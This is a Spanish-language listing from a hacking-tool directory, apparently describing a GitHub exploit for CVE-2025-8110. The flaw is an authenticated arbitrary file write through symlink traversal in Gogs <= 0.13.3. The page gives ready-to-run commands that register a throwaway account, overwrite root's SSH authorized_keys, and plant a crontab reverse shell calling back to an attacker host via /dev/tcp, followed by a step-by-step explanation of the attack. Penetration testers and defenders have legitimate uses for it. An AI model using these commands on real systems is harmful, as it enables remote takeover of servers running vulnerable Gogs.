Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-8110 — CVE-2025-8110 — Gogs <= 0.13.3 Escritura Arbitraria de Archivos mediante Symlink Traversal en la API PutContents | Kitploit
Herramientas/GitHubGitHub/3jee/cve-2025-8110
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHub3jee/cve-2025-8110

CVE-2025-8110

CVE-2025-8110 — Gogs <= 0.13.3 Escritura Arbitraria de Archivos mediante Symlink Traversal en la API PutContents

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-8110 — Gogs <= 0.13.3 Escritura Arbitraria de Archivos mediante Symlink Traversal

Resumen

Gogs <= 0.13.3 es vulnerable a la escritura arbitraria de archivos a través de la API PutContents (/api/v1/repos/:owner/:repo/contents/:path).

La API valida rutas de archivo para secuencias de directory traversal (../) pero no resuelve enlaces simbólicos antes de escribir. Un usuario autenticado puede enviar un commit que contenga un enlace simbólico que apunte a cualquier archivo en el servidor, luego llamar a PutContents en ese enlace simbólico para sobrescribir el archivo destino con contenido controlado por el atacante.

Cuando Gogs se ejecuta como root (por defecto en Docker y muchas implementaciones), esto resulta en un compromiso total del sistema.

DetalleValor
CVECVE-2025-8110
AfectadoGogs <= 0.13.3
TipoEscritura arbitraria de archivos autenticada → RCE
CVSS8.8 (Alto)
ComponenteAPI PutContents

Requisitos

  • Python 3.10+
  • requests (pip install requests)
  • CLI de git
  • Una cuenta válida de Gogs (o autorregistro abierto en el objetivo)

Uso

root@kitploit:~
# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

Cómo Funciona

  1. Autenticarse — Iniciar sesión (o autorregistrarse) y crear un token de API.
  2. Crear un repositorio — Inicializar un nuevo repositorio con un README a través de la interfaz web.
  3. Enviar un enlace simbólico — Clonar el repositorio localmente, crear un enlace simbólico que apunte al archivo destino (por ejemplo, /root/.ssh/authorized_keys), hacer commit y push.
  4. Escribir a través del enlace simbólico — Llamar a la API PutContents en el nombre del enlace simbólico. Gogs resuelve el enlace simbólico en disco y escribe el contenido del atacante en el archivo real como el usuario del proceso Gogs (a menudo root).

Opciones

root@kitploit:~
--url             URL base de Gogs (ej. http://target:3001)
-u, --user        Nombre de usuario de Gogs
-p, --password    Contraseña de Gogs
--register        Autorregistrar una cuenta desechable (sin captcha)
--target-file     Ruta absoluta a sobrescribir en el servidor
--content         Cadena de contenido a escribir
--content-file    Archivo local cuyo contenido se va a escribir
--repo            Nombre del repositorio a crear (por defecto: aleatorio)
--link-name       Nombre del enlace simbólico en el repositorio (por defecto: payload)
--cleanup         Eliminar el repositorio de explotación después de escribir

Aviso Legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Úsela de manera responsable.

Descargar herramienta